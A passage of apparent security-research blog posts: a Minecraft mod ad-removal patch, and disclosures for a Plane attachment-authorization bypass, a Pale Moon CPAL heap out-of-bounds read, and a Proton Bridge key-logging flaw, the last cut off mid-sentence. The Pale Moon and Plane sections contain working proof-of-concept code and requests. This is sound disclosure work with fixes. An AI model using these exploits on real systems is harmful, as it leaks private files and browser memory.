b4r

the xray mod came with ads

b4r — Tue, 27 Oct 2026 00:00:00 GMT

![promo card and watermark on the title screen](promo-title.png) I downloaded XtoXray from Modrinth because I wanted a simple xray mod for a 1.21.5 Fabric instance. It worked. Then I opened the title screen and saw a rotating promo card in the corner. One slide pushed the mod's Modrinth page. The other asked me to subscribe to a YouTube channel. The bottom left corner had an `X To Xray` watermark with the mod version. I could ignore that. Then I joined a world and chat printed this: ```text [System] [CHAT] Support X To Xray By Joining The Discord Server And Subscribing On Youtube! [Discord] [YouTube] ``` ![join message in chat](promo-chat.png) The chat message was the part that made me open the jar. A Discord link in the mod description is normal. A clickable ad in my chat box every time I load a world is not. ## First look at the jar The jar is a normal Fabric mod. `fabric.mod.json` lists the main entrypoint and the client entrypoint: ```json "entrypoints": { "main": ["com.xtoxray.XtoXray"], "client": ["com.xtoxray.client.XrayToggleHandler"] } ``` The mixin configs also give away where the title screen code lives. There are three variants, one for each Minecraft range: ```text xtoxray.title_0_5.mixins.json xtoxray.title_6_8.mixins.json xtoxray.title_9_11.mixins.json ``` I decompiled the client classes with CFR and checked the bytecode with `javap`. The promo path is small. ## The title screen promo Every `MixinTitleScreen` variant calls the same two methods at the tail of the title screen render: ```java NewsOverlay.render(this, graphics, mouseX, mouseY); ModBranding.render(this, graphics); ``` `NewsOverlay` draws the rotating card. `NewsManager` holds the slides and reads `config/xtoxray-news.json`. If the file is missing, it writes the defaults. The defaults are hardcoded: ```java list.add(new NewsEntry( "X To Xray Update", List.of("Version 2026.28 ist da!", "Druecke X im Spiel."), 0x55FF55, "https://modrinth.com/mod/x-to-xray", "xtoxray:textures/gui/news/1.png" )); list.add(new NewsEntry( "YouTube", List.of("Subscribe!", "Neue Videos & Tutorials."), 0xFF5555, "https://www.youtube.com/@RandomPixelStudios", "xtoxray:textures/gui/news/2.png" )); ``` The strings are German even though the rest of the mod is in English. That is a small detail, but it made the defaults easy to find. `ModBranding` is the bottom left text. It draws `X To Xray` and the mod version. ## The join message The chat message lives in `XrayToggleHandler.onInitializeClient`. The mod registers a `ClientPlayConnectionEvents.JOIN` callback. The decompiled shape, with the intermediary names cleaned up, is: ```java ClientPlayConnectionEvents.JOIN.register((handler, sender, client) -> { resetXray(); MutableText discord = Text.literal("[Discord]").styled(style -> TEXT.openUrlStyle(style, URI.create("https://discord.gg/CZ9Mr7epqj")) .withColor(5793266) ); MutableText youtube = Text.literal("[YouTube]").styled(style -> TEXT.openUrlStyle(style, URI.create("https://www.youtube.com/@RandomPixelStudios")) .withColor(0xFF0000) ); MutableText msg = Text.literal( "Support X To Xray By Joining The Discord Server And Subscribing On Youtube! " ).append(discord).append(Text.literal(" ")).append(youtube); if (client.player != null) { client.player.sendMessage(msg, false); } }); ``` The callback also resets the xray state on join. I wanted to keep that part and drop the message. ## Patching the class files I did not have the mod's source, so I patched the bytecode with ASM. The first two changes are no-ops. `NewsOverlay.render` and `ModBranding.render` get a body with a single `return`: ```java method.instructions.clear(); method.instructions.add(new InsnNode(Opcodes.RETURN)); ``` The join callback is a private static lambda method. I replaced its body with the original reset call and a return: ```java method.instructions.clear(); method.instructions.add(new MethodInsnNode( Opcodes.INVOKESTATIC, "com/xtoxray/client/XrayToggleHandler", "resetXray", "()V", false )); method.instructions.add(new InsnNode(Opcodes.RETURN)); ``` The rest of the class stays untouched. I rezipped the jar, kept the original as a backup, and dropped the patched jar back into the mods folder. ## Verification `javap` shows the new bodies: ```text public static void render(...); Code: 0: return ``` ```text private static void lambda$onInitializeClient$1(...); Code: 0: invokestatic #362 // Method resetXray:()V 3: return ``` `unzip -t` passes. The mod still loads. The next world join produced no Discord or YouTube line in the log. The title screen render path returns before it draws the card or the watermark. The xray code, the veinminer, and the hitbox renderer are not part of the patch. They stay exactly where they were. The mod can have a Discord. I just do not want it in my chat box every time I load a world. Removing two render calls and one message call was enough. If a future update brings the promo back, the same three methods are the place to look.

workspace asset download bypass in plane

b4r — Mon, 12 Oct 2026 00:00:00 GMT

## TL;DR Plane 1.3.1 had two download routes for the same file asset. The project-scoped route checked project membership and returned 403 for outsiders. The workspace-scoped route only checked workspace membership and handed back a signed download URL. - `CVE-2026-104960` (Moderate, CWE-639, CWE-862) - A workspace guest with no access to a secret project could download that project's private attachments by calling the workspace route directly with the asset UUID - Fixed in Plane 1.4.0 I reported this on May 21 and I'm credited as reporter on the advisory. ## The bug Plane serves file downloads through this workspace-scoped endpoint: ```http GET /api/assets/v2/workspaces//download// ``` `WorkspaceAssetDownloadEndpoint.get()` resolves the asset by `id`, `workspace__slug`, and `is_uploaded=True`, then authorizes at workspace scope. For project-bound assets (issue attachments, comment and page descriptions, project covers), it never asks whether the caller belongs to the owning project. The adjacent project-scoped route does ask: ```http GET /api/assets/v2/workspaces//projects//download// ``` Same asset, same workspace, different answer. The authorization model had a gap exactly shaped like the route table: one route scoped by project, the other not. ## Attacker model - Authenticated - A member of the victim's workspace (lowest confirmed role: workspace guest) - Not a member of the victim secret project - Knows the target asset UUID Authenticated users outside the workspace are denied outright, so this stays inside the workspace boundary. It breaks the project boundary within it. ## Proof of concept Set up a workspace with an attacker (workspace only) and a victim (member of a secret project holding an uploaded `ISSUE_ATTACHMENT`). As the attacker, request the project-scoped route first: ```http GET /api/assets/v2/workspaces//projects//download// ``` Response: `403`. Correct. Then request the workspace-scoped route for the same asset: ```http GET /api/assets/v2/workspaces//download// ``` Response: `302` with a signed download URL for the victim's file. The regression test I wrote against the Plane 1.3.1 source tree pins this down: ```python exploit_response = session_client.get(self.get_workspace_download_url(workspace.slug, victim_asset.id)) > assert exploit_response.status_code == 403 E assert 302 == 403 E + where 302 = .status_code ``` The negative control matters here. The project-scoped route denies the same caller for the same asset, so this is not a test setup artifact: the server knows how to say no and one route simply never asks. ## Impact Secret projects in Plane exist so workspace members outside the project cannot see its content. This bug let any workspace member pull file-backed private content (attachments, descriptions, covers) out of those projects with nothing but the asset UUID. CVSS 3.1 vector: `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N`: network-reachable, low complexity, low privileges, no user interaction, high confidentiality impact, no integrity or availability impact. Out of scope for this report: unauthenticated access, integrity impact, and anything outside the four confirmed project-bound asset types. ## The fix Patched in Plane 1.4.0. Conceptually the fix is what you would expect: the workspace-scoped handler now has to resolve the asset's owning project and enforce membership there, the same question the project-scoped route already asked. The broader lesson, which I keep running into across projects: when two routes serve the same object at different scopes, the broader route needs every check the narrower one has, plus its own. A workspace check is not a project check, the same way a tenant check is not an object check. Convenience routes that skip a path segment tend to skip the authorization that lived in it. ## Timeline - **May 21, 2026**: Opened the private report, added as collaborator and credited reporter - **May 23, 2026**: Accepted the reporter credit - **Aug 3, 2026**: Report accepted by the Plane team, CVE requested - **Sep 28, 2026**: Advisory GHSA-wrrw-wvfv-67h7 published - **Oct 2026**: CVE-2026-104960 assigned ## References - [GHSA-wrrw-wvfv-67h7](https://github.com/makeplane/plane/security/advisories/GHSA-wrrw-wvfv-67h7) - [CVE-2026-104960 (NVD)](https://nvd.nist.gov/vuln/detail/CVE-2026-104960)

heap out-of-bounds read in pale moon cpal parser

b4r — Wed, 30 Sep 2026 00:00:00 GMT

## TL;DR Pale Moon validates the `CPAL` color palette table in `gfxFontUtils::ValidateColorGlyphs()`. The validation checks a consistency relation between three header fields, but one of those fields is independently attacker controlled. Setting `numPalettes` to zero forces `numColorRecords` to zero, which makes the array size check vacuous. A later check validates `paletteEntryIndex` against `numPaletteEntries` instead of the real array size `numColorRecords`, so an index valid for a 65535 entry array is accepted for an array that is required to contain zero entries. The read that follows runs past a dedicated heap allocation holding the `CPAL` table. The four bytes it reads are used as an RGBA color, propagated into `ColorPattern`, and rasterized as the glyph fill. Because a web page can read its own canvas pixels, the out of bounds values are recoverable by JavaScript via `getImageData()`. Two facts bound this finding and are stated up front. The attacker controls the read offset but does not control what is read: a donor font experiment intended to place attacker chosen bytes immediately after the victim allocation failed, so the disclosed content is browser internal heap structure. And no crash was observed at any tested offset, including the maximum reachable one, so this is a silent read and not a denial of service primitive. **Target:** Pale Moon 35.0.1 (Linux x86-64), UXP revision `e59e88bfd59f37fabc15b30ec304f90a410c751f`, release tag `RB_20260922`, BuildID `20260921224855`. Heap out-of-bounds read, read-only, no write primitive. ## 1. Background: what COLR and CPAL are Color fonts such as emoji fonts and many decorative fonts are built from two OpenType tables. | Table | Purpose | |---|---| | `COLR` | Maps glyph IDs to colored layers | | `CPAL` | Color palette: an array of 4 byte `ColorRecord` values | The `CPAL` v0 header is 12 bytes, packed: ```c struct CPALHeaderVersion0 { AutoSwap_PRUint16 version; AutoSwap_PRUint16 numPaletteEntries; AutoSwap_PRUint16 numPalettes; AutoSwap_PRUint16 numColorRecords; AutoSwap_PRUint32 offsetFirstColorRecord; }; ``` and the array element is: ```c struct CPALColorRecord { uint8_t blue; uint8_t green; uint8_t red; uint8_t alpha; }; ``` `numColorRecords` is the real array size. `numPaletteEntries` and `numPalettes` are metadata that are meant to satisfy the relation `numColorRecords == numPaletteEntries * numPalettes`. Treating that relation as a safety check is the root of the problem. Pale Moon uses its own Goanna rendering engine, but this color glyph code is inherited Mozilla code living in `gfx/thebes/`. That distinction matters for the upstream comparison in section 10. ## 2. The sanitizer does not cover these tables The natural first question is whether the OpenType Sanitizer already filters malformed `CPAL` data. It does not, because UXP explicitly configures OTS to pass `COLR` and `CPAL` through without validation. `gfx/thebes/gfxUserFontSet.cpp`: ```c virtual ots::TableAction GetTableAction(uint32_t aTag) override { // Preserve Graphite, color glyph and SVG tables if (aTag == TRUETREE_TAG('G', 'D', 'E', 'F') || aTag == TRUETREE_TAG('G', 'P', 'O', 'S') || aTag == TRUETREE_TAG('G', 'S', 'U', 'B') || aTag == TRUETREE_TAG('S', 'V', 'G', ' ') || aTag == TRUETREE_TAG('C', 'O', 'L', 'R') || aTag == TRUETREE_TAG('C', 'P', 'A', 'L')) { return ots::TABLE_ACTION_PASSTHRU; } return ots::TABLE_ACTION_DEFAULT; } ``` `TABLE_ACTION_PASSTHRU` routes the table to `TablePassthru`, which stores a raw pointer and copies the bytes back out verbatim (`gfx/ots/src/ots.cc`): ```c bool TablePassthru::Parse(const uint8_t *data, size_t length) { m_data = data; m_length = length; return true; } bool TablePassthru::Serialize(OTSStream *out) { if (!out->Write(m_data, m_length)) { return Error("Failed to write table"); } return true; } ``` There is no `CPAL` or `COLR` parser anywhere in the bundled OTS: ```text $ grep -rn "COLR\|CPAL" gfx/ots/src/ gfx/ots/include/ (no matches) ``` I verified this empirically rather than by reading alone. I compiled the OTS sources from the audited UXP tree, wired up a faithful replica of `gfxOTSContext`, and ran the real sanitizer over the PoC font: ```text ===== OTS Process() -> SUCCESS ===== COLR byte-identical to input: YES (passthru) CPAL byte-identical to input: YES (passthru) ``` The attacker chosen `CPAL` bytes reach the validator unmodified. UXP's own validator is the only gate. ## 3. The flaw `gfxFontUtils::ValidateColorGlyphs()` at `gfx/thebes/gfxFontUtils.cpp:1611`. The relevant block: ```c if (offsetFirstColorRecord >= cpalLength) { return false; } if (!numPaletteEntries) { return false; } ... if (sizeof(CPALColorRecord) * numColorRecords > cpalLength - offsetFirstColorRecord) { // CPAL color record will be overflow return false; } if (numPaletteEntries * uint16_t(cpal->numPalettes) != numColorRecords ) { // palette of CPAL color record will be overflow. return false; } ``` followed by the layer loop: ```c for (uint16_t i = 0; i < numLayerRecords; i++, layer++) { if (uint16_t(layer->paletteEntryIndex) >= numPaletteEntries && uint16_t(layer->paletteEntryIndex) != 0xFFFF) { // CPAL palette entry record is overflow return false; } } ``` and the out of bounds read in `GetColorGlyphLayers()` at line 1792: ```c if (uint16_t(layer->paletteEntryIndex) == 0xFFFF) { aColors.AppendElement(aDefaultColor); } else { const CPALColorRecord* color = reinterpret_cast( reinterpret_cast(cpal) + offsetFirstColorRecord + sizeof(CPALColorRecord) * uint16_t(layer->paletteEntryIndex)); aColors.AppendElement(mozilla::gfx::Color(color->red / 255.0, color->green / 255.0, color->blue / 255.0, color->alpha / 255.0)); } ``` ### Why the checks do not hold The consistency check at line 1672 is not a bound check. Its left hand side is `numPaletteEntries * numPalettes`. Since `numPaletteEntries` is already guaranteed non-zero by the earlier check, the only way to make the product zero is `numPalettes == 0`. When that is set: 1. The consistency check forces `numColorRecords` to zero. 2. The size check on line 1666 becomes vacuous, because `4 * 0 > x` is false for every `x`. No color record is required to exist. 3. The layer loop still compares `paletteEntryIndex` against `numPaletteEntries`, which the attacker may set to any non-zero value up to `0xFFFF`. An index valid for a 65535 entry array is therefore accepted for an array that must contain zero entries. The read then walks forward from the end of a small allocation by up to `4 * 0xFFFE` bytes. `0xFFFF` is the OpenType sentinel meaning "use the text foreground color", and that branch performs no read. The maximum usable index for the vulnerable path is `0xFFFE`. This is the only trigger. Forcing the size check to be vacuous requires `numColorRecords == 0`, and given `numPaletteEntries != 0`, that requires `numPalettes == 0`. There is no second path. ## 4. Reachability from a web page ```text HTML @font-face -> gfxUserFontEntry::SanitizeOpenTypeData (OTS passthru for COLR/CPAL) -> gfxFontEntry::GetFontTable('COLR'/'CPAL') (dedicated nsTArray allocation) -> gfxFontEntry::TryGetColorGlyphs() (no pref gate) -> gfxFontUtils::ValidateColorGlyphs() (accepts the malformed CPAL) -> gfxFont::DrawGlyphs gfxFont.cpp:2057 -> gfxFont::DrawGlyph gfxFont.cpp:1855 -> gfxFont::RenderColorGlyph gfxFont.cpp:2243 -> gfxFontEntry::GetColorLayersInfo gfxFontEntry.cpp:960 -> gfxFontUtils::GetColorGlyphLayers -> out-of-bounds CPAL color-record read gfxFontUtils.cpp:1792 -> ColorPattern / DrawTarget::FillGlyphs -> rendered glyph pixels -> canvas getImageData() ``` Two properties make this reachable from ordinary web content with no configuration. **No preference gate.** `gfxFontEntry::TryGetColorGlyphs()` at `gfxFontEntry.cpp:409` performs no `StaticPrefs` check. Contrast this with SVG glyph handling, which is gated behind `gfxPlatform::GetPlatform()->OpenTypeSVGEnabled()`. **The `CPAL` blob is its own allocation.** `GetFontTable()` copies the table into a sized `nsTArray`, so the out of bounds window is relative to a small attacker influenced allocation rather than a view into a larger font buffer: ```c gfxFontEntry::GetFontTable(uint32_t aTag) { hb_blob_t *blob; if (GetExistingFontTable(aTag, &blob)) { return blob; } nsTArray buffer; bool haveTable = NS_SUCCEEDED(CopyFontTable(aTag, buffer)); return ShareFontTableAndGetBlob(aTag, haveTable ? &buffer : nullptr); } ``` ## 5. Building the proof font A 16 byte `CPAL` is enough to trigger the condition: ```python CPAL = struct.pack(">HHHHI", 0, # version 0xFFFF, # numPaletteEntries (non-zero, passes the first guard) 0, # numPalettes <- trigger 0, # numColorRecords <- forced to 0 by the consistency check 12, # offsetFirstColorRecord (must be < cpalLength) ) CPAL += b"\x00\x00\x00\x00" # padding so the offset check passes ``` producing 16 bytes: `0000ffff000000000000000c00000000` The `COLR` table needs one base glyph record and one layer record. The layer record's `paletteEntryIndex` selects the read offset. I built a variant that puts a distinct index on each of 64 glyphs so that a single render pass yields 64 independent reads: ```python base_recs = b"" layer_recs = b"" for i in range(n): gid = i + 1 pei = (start + i * step) & 0xFFFF if pei == 0xFFFF: pei = 0xFFFE base_recs += struct.pack(">HHH", gid, i, 1) # glyphId, firstLayerIndex, numLayers layer_recs += struct.pack(">HH", gid, pei) # glyphId, paletteEntryIndex ``` Glyphs are drawn as solid filled rectangles. This matters for measurement: a large uniform interior gives a pixel whose value is exactly the fill color with no antialiasing at the sample point. `COLR` and `CPAL` are not validated by OTS, so both survive sanitization intact and reach `ValidateColorGlyphs()` as authored. ## 6. The disclosure channel The interesting property of this bug is not only that it reads out of bounds. It is that the read result becomes observable to the attacking page. The four bytes are interpreted as blue, green, red, alpha, divided by 255.0, and used as the glyph fill via `ColorPattern` in `FillGlyphs`. A page that draws text with the font onto a canvas can then read those pixels back. ### Recovering exact bytes despite alpha blending The complication is that the source color has an alpha channel, so the rendered pixel is a blend against the canvas background. Rendering the same text twice, once on white and once on black, and solving two equations recovers the original values exactly. For a source channel `c` with alpha `a`: ```text over white: out_w = round(c * a / 255) + (255 - a) over black: out_b = round(c * a / 255) ``` Subtracting eliminates `c`: ```text a = 255 - (out_w - out_b) c = round(out_b * 255 / a) ``` In JavaScript: ```javascript function recover(ow, ob) { var a = 255 - (ow[0] - ob[0]); if (a <= 0 || a > 255) return { err: 1 }; if (255 - (ow[1] - ob[1]) !== a || 255 - (ow[2] - ob[2]) !== a) return { err: 2 }; var r = Math.round(ob[0] * 255 / a), g = Math.round(ob[1] * 255 / a), b = Math.round(ob[2] * 255 / a); return { a: a, c: [r, g, b] }; } ``` The two background passes also cross validate each other: the three channels must agree on the same `a`, otherwise the sample is rejected rather than reported. Recovery is exact when `a >= 0x80` and degrades by about 2 LSB below that, which is a limitation of 8 bit output quantization rather than of the method. ### Controls Two control fonts establish that the channel carries the exact bytes and not an approximation. | Font | Planted bytes | Recovered via `getImageData()` | |---|---|---| | `valid.ttf` record 0 | `00 00 00 ff` | `000000ff` | | `valid.ttf` record 1 | `01 07 0d ff` | `01070dff` | | `valid.ttf` record 2 | `02 0e 1a ff` | `020e1aff` | | `mark.ttf` cell 0 | `de ad be ef` | `deadbeef` | | `oob0.ttf` cell 0 | `00 01 02 fe` | `000102fe` | The full eight record control matched on every value: ```text expected (blue,green,red,alpha) = 000000ff.01070dff.020e1aff.031527ff.041c34ff.052341ff.062a4eff.07315bff observed = 000000ff.01070dff.020e1aff.031527ff.041c34ff.052341ff.062a4eff.07315bff MATCH ``` Each glyph measured exactly 6400 pixels, confirming full interior coverage with no antialiasing contamination at the sample point. With the malformed font, cell 0 is in bounds and returns its planted value, while cells 1 and beyond return values that are not present anywhere in the `CPAL` blob. That divergence is the signature of the out of bounds read. ## 7. Evidence ### Stock binary All browser level results come from the official Pale Moon 35.0.1 Linux x86-64 release binary, BuildID `20260921224855`, run with a fresh default profile. ASan and the standalone OTS build are supporting root cause evidence, not the basis for any browser level claim. The validator accepting the malformed font was confirmed directly under gdb, with breakpoints placed after `libxul.so` loads: ```text !!!RESULT libxul base=0x7fffedc00000 !!!ARMED !!!HIT TryGetColorGlyphs:GetFontTable(COLR) #1 !!!HIT gfxFontUtils::ValidateColorGlyphs #1 !!!HIT ValidateColorGlyphs RETURNED TRUE #1 !!!HIT ValidateColorGlyphs RETURNED TRUE #2 !!!HIT ValidateColorGlyphs RETURNED TRUE #3 ``` The flawed logic is present in the shipped binary. Disassembly of `libxul.so` shows the multiplication and comparison that correspond to the consistency check: ```text 123e8ba: lea (%r12,%r12,2),%r13 ; 6 * numBaseGlyphRecord 123e8d7: lea 0x0(,%r14,4),%r15 ; 4 * numLayerRecords 123e8f3: shl $0x2,%r15 123e90a: imul %r11d,%ecx ; numPaletteEntries * numPalettes 123e90e: cmp %edx,%ecx ; != numColorRecords ``` The browser also confirmed internally that the font was genuinely loaded and applied, not merely fetched, by beaconing font state out to a local server: ```text faces="POCR":loaded check=true fontwidth=940 / fallbackwidth=240 / widths_differ=true visibilityState=visible, hidden=false, raf_ticks_final=40 ``` The `raf_ticks` counter confirms the page was actually painting while sampling, so the color path was executing rather than deferred. ### ASan Compiling verbatim copies of `ValidateColorGlyphs()` and `GetColorGlyphLayers()` under AddressSanitizer with a minimal shim for `hb_blob_t` and `nsTArray`: ```text COLR blob = 24 bytes, CPAL blob = 16 bytes ValidateColorGlyphs() -> true (ACCEPTED) calling GetColorGlyphLayers(glyph=1) ... ================================================================= ==332078==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ba4a45e004f READ of size 1 at 0x7ba4a45e004f thread T0 #0 gfxFontUtils::GetColorGlyphLayers(...) harness.cpp:267 ``` With `paletteEntryIndex` set to `0xFFFE` the same function takes a wild read and faults: ```text AddressSanitizer: SEGV on unknown address 0x000000000018 The signal is caused by a READ memory access. ``` The well formed control font produces no sanitizer report and returns the correct in bounds color, confirming the harness is not simply reporting a false positive on any `CPAL` input. ## 8. Reproducibility The disclosure is deterministic in this environment. The table below is the 30 run study, 64 cells per run, one cell per glyph, each reading a distinct offset from the 16 byte `CPAL` allocation. | Metric | Result | |---|---| | Independent browser runs | 30 | | Cells per run | 64 | | In bounds control cells | 1 | | Out of bounds cells per run | 63 | | Individual OOB reads reproduced | 1890 / 1890 | | OOB offsets identical across all 30 runs | 63 / 63 | | Runs with a crash or unmapped read | 0 / 30 | | Runs with no disclosure | 0 / 30 | The disclosed values showed a 64 byte periodic structure, with cells 30 through 35 repeating identically at cells 46 through 51. The read range was mapped experimentally. A contiguous sweep of 64 cells at stride 1 covered offsets 12 through 264. A strided sweep with `paletteEntryIndex` stepping by 1024 covered offsets 12 through 258060, roughly 252 KB past a 16 byte allocation. A final sweep placed all 64 cells at the maximum indices `0xFFBF` through `0xFFFE`, reading offsets 262088 through 262148. All 64 reads succeeded with no fault and no browser crash. I also tested a variant with a 4 MB `CPAL` and `offsetFirstColorRecord` placed near the end, which pushes reads about 256 KB past a 4 MB allocation. That also completed without a crash. The practical conclusion is that the window stays inside mapped heap across the full range reachable by the primitive. The read is silent. It is not a denial of service. ## 9. What this is not Stating the boundaries precisely, because the primitive is easy to overstate. **The attacker controls the offset, not the disclosed bytes.** The control experiment above proves the channel carries attacker chosen bytes byte for byte, but only for addresses inside the `CPAL` allocation. For the out of bounds window the situation is different. I built donor fonts carrying unique canary patterns (`11223344`, `a1b2c3d4`, `e5f60718`) with distinct internal family names to defeat font cache deduplication, and attempted three placement strategies: a 16 byte donor, a 60 byte donor, and two 64 byte donors. The intent was to land donor controlled data in the victim's forward read window. In all three cases the canary never appeared in the victim's OOB window. The memory immediately following the `CPAL` allocation is browser internal structure, and its contents were identical whether the blob was 16 bytes or 60 bytes. **The disclosed content is low entropy internal heap structure.** The recovered values look like small integers and packed fields, consistent with internal display or font data structures. No pointer, no session data, no credential, no cookie, and no JavaScript string was recovered in any run. Whether a sufficiently motivated attacker could steer the allocation pattern to place a more valuable object in the window is untested and I make no claim either way. **There is no write primitive.** The out of bounds access is a read. There is no adjacent write, no type confusion, no controlled vtable, and no heap overlap. **There is no execution path.** Values are divided by 255.0 before use, so the range reaching the graphics layer is finite in `[0.0, 1.0]` and cannot produce NaN or infinity. The only consumer is `ColorPattern` in `FillGlyphs`; the value is never used as a pointer, length, offset, or secondary index. There is no information to write bridge. **No crash was demonstrated.** Across 30 runs, the 252 KB strided sweep, the maximum index sweep, and the 4 MB `CPAL` variant, the browser never faulted. Accordingly this is not an arbitrary memory read, not arbitrary address access, not a process memory disclosure primitive, and not an ASLR bypass. It is a bounded forward out of bounds read relative to one small allocation. ## 10. Version status | Ref | Commit | Date | Status | |---|---|---|---| | `RB_20260922` (35.0.1) | `e59e88bfd59f` | 2026-09-21 | vulnerable | | `release` branch | `e59e88bfd59f` | 2026-09-21 | vulnerable | | `master` | `2b146b356c71` | 2026-09-27 | vulnerable | `RB_20260922` is still the newest release tag, so master is post 35.0.1 development. I reviewed all 50 commits between the release base and current master. None touch `COLR` or `CPAL`. The relevant region of `gfxFontUtils.cpp` and the OTS passthru list in `gfxUserFontSet.cpp` are byte identical between the two revisions, confirmed by diff. The flaw is inherited rather than introduced by UXP. The same logic appears in the 2018 bulk import commit `5f8de423f190bbb79a62f804151bc24824fa32d8` ("Add m-esr52 at 52.6.0") at the then lines 1660, 1696, and 1779, and `git log -S` on the exact condition shows no UXP commit has ever modified it. ### Upstream context Upstream Mozilla rewrote this code into `gfx/thebes/COLRFonts.cpp` as part of COLRv1 support (bug 1740530) and its current validation reads: ```c if (!numPaletteEntries || !numPalettes || numColorRecords < numPaletteEntries) { return false; } ``` That form rejects `numPalettes == 0` outright and also guards `numColorRecords < numPaletteEntries`, closing this class of issue. UXP never received that refactor; `gfx/thebes/COLRFonts.cpp` does not exist in the UXP tree at all, and UXP contains neither the `!numPalettes` rejection nor the `numColorRecords` check. UXP also diverges from upstream in directing OTS to pass `COLR` and `CPAL` through, so its own validator is the only gate. The result is an unpatched inherited validation gap rather than a UXP specific design error. No exact duplicate was found: UXP tracker searches for `CPAL`, `COLR`, `ValidateColorGlyphs`, and `numPalettes` returned no security report, and the closest known issue (Mozilla Bug 1786002) is a different out of bounds read on the palette indices array, not the color record read described here. ## 11. Suggested fix The invariant to enforce is that for every layer whose `paletteEntryIndex` is not the `0xFFFF` sentinel, the four byte read at `offsetFirstColorRecord + 4 * paletteEntryIndex` lies entirely within the `CPAL` blob. The recommended fix enforces that directly: ```c for (uint16_t i = 0; i < numLayerRecords; i++, layer++) { if (uint16_t(layer->paletteEntryIndex) == 0xFFFF) { // Sentinel: use the text foreground color, no CPAL access. continue; } if (uint16_t(layer->paletteEntryIndex) >= numColorRecords) { // Palette entry record is out of bounds. return false; } } ``` Bounding the index against `numColorRecords`, the actual array size, rather than against `numPaletteEntries`, removes the dependency on the consistency relation between independent header fields. This is the fix that directly enforces the memory safety invariant, and it matches the direction upstream converged on when it added a palette size check at the read site. Ordering matters. The `0xFFFF` sentinel must be handled before the bound test, otherwise a legitimate sentinel layer in a font with fewer than 65535 records would be rejected. A complementary fix is to reject an empty palette table before the color record validation: ```c if (!uint16_t(cpal->numPalettes)) { return false; } ``` This is worth having as defense in depth and for spec compliance, but on its own it closes the bug only incidentally. It works because `numPalettes == 0` happens to be the sole trigger for the vacuous size check. It is a consistency guard, not a bounds guard, so it would not protect against a future edit that made the size check vacuous by a different route. ### Regression verification A full patched Pale Moon browser build was not performed. The UXP build tooling (`mach`, `mozbuild`) was unavailable in the audit environment and the build exceeded available disk and time. The regression evidence below is function level, against verbatim copies of the validator with each candidate fix applied. ```text font expected orig fix1 fix2 both ----------------------------------------------------------------- oob0.ttf REJECT ACCEPT REJECT REJECT REJECT v64.ttf REJECT ACCEPT REJECT REJECT REJECT mark.ttf REJECT ACCEPT REJECT REJECT REJECT donor.ttf REJECT ACCEPT REJECT REJECT REJECT poc.ttf REJECT ACCEPT REJECT REJECT REJECT oob_sweep.ttf REJECT ACCEPT REJECT REJECT REJECT valid.ttf ACCEPT ACCEPT ACCEPT ACCEPT ACCEPT control.ttf ACCEPT ACCEPT ACCEPT ACCEPT ACCEPT ``` All six malformed fonts are accepted by the original code and rejected by every fix variant. Both well formed control fonts remain accepted, so ordinary color glyph rendering is unaffected. Fix B is marginally stricter than Fix A in that it would also reject a font declaring `numColorRecords < numPaletteEntries`, which fails closed and is spec consistent. There is exactly one read site using `paletteEntryIndex` in the audited tree, and `ValidateColorGlyphs()` is its only gate, so no further reachable path requires auditing. ## 12. Assessment The evidence supports a conservative rating. Remote reachability is trivial, since any web page can serve the font, and it is a memory safety violation with an attacker observable information disclosure channel and deterministic reproduction. Evidence that would be required for a higher rating is not present: there is no write primitive, no code execution, no sandbox escape, and no privilege boundary crossing. No sensitive object was recovered, no crash or denial of service was demonstrated, and the attacker cannot select the disclosed content. Determinism raises confidence in the finding, not its severity.

proton bridge logged its own vault key

b4r — Wed, 30 Sep 2026 00:00:00 GMT

## TL;DR Proton Mail Bridge persists credentials in an encrypted file, `vault.enc`, whose AES key is `SHA-256(vaultKey)`. On every start, one log line writes `SHA-256(vaultKey)` in hex to a world-readable log file. Same input, same function, same output: the value in the log **is** the key. One file read recovers every stored credential with no keychain access, no network position, and no user interaction. Not a cross-user bug (the `0700` parent directory holds), not permanent (bounded by 200 MB of log pruning), and not automatic exfiltration (the only egress is a user-submitted bug report with logs attached). But within those bounds, the analysis is complete end to end. ## 1. Background Proton Mail Bridge is a local proxy that sits between a standard mail client (Thunderbird, Outlook, Apple Mail) and Proton's encrypted mail service. It holds the user's Proton decryption keys, speaks plain IMAP and SMTP on `127.0.0.1`, and transparently decrypts inbound mail and encrypts outbound mail. Because it holds live credentials, Bridge persists them in an encrypted file called `vault.enc`. The design intent is straightforward: the file on disk is ciphertext, and the key that unlocks it lives in the operating system keychain. An attacker who walks away with `vault.enc` but cannot reach the keychain gets nothing. This post is about a log line that breaks that assumption. The finding is small, one line of code, and it has been present since v3.20.0. The interesting part is not the bug itself but the shape of it: two unrelated subsystems both reach for `sha256` on the same input, and neither side knows what the other is doing with the result. ## 2. How the vault is encrypted ### 2.1 Key derivation `internal/vault/vault.go` is where the vault is constructed. The relevant part of `New`: ```go // internal/vault/vault.go:59 func New(vaultDir, gluonCacheDir string, key []byte, panicHandler async.PanicHandler) (*Vault, error, error) { if err := os.MkdirAll(vaultDir, 0o700); err != nil { return nil, nil, err } hash256 := sha256.Sum256(key) // line 64 aes, err := aes.NewCipher(hash256[:]) // line 66 if err != nil { return nil, nil, err } gcm, err := cipher.NewGCM(aes) // line 71 if err != nil { return nil, nil, err } vault, corrupt, err := newVault(filepath.Join(vaultDir, "vault.enc"), gluonCacheDir, gcm) // ... } ``` The raw key, 32 bytes, is never used directly as the cipher key. It is first run through SHA-256, and the digest becomes the AES-256 key. That is a legitimate construction: SHA-256 of 256 bits of CSPRNG output is a fine way to derive an AES key, and it also gives the codebase a stable domain-separated value. The problem is that this same digest is exactly what gets logged, as we will see in section 4. ### 2.2 The on-disk format `internal/vault/types_file.go` defines the wire format. The envelope: ```go // internal/vault/types_file.go:29 type File struct { Version Version Data []byte } ``` and the sealing side: ```go // internal/vault/types_file.go:59 func marshalFile[T any](gcm cipher.AEAD, t T) ([]byte, error) { dec, err := msgpack.Marshal(t) if err != nil { return nil, err } nonce, err := crypto.RandomToken(gcm.NonceSize()) if err != nil { return nil, err } return msgpack.Marshal(File{ Version: Current, Data: gcm.Seal(nonce, nonce, dec, nil), }) } ``` So `vault.enc` is a msgpack envelope with two fields: | Field | Content | |---|---| | `Version` | a plain integer, outside the AEAD seal | | `Data` | `gcm.Seal(nonce, nonce, msgpack(Data), nil)` | The nonce is 12 random bytes, generated fresh on every write, and prepended to the ciphertext. The additional authenticated data argument is `nil`, so the `Version` field is *not* authenticated. That is a 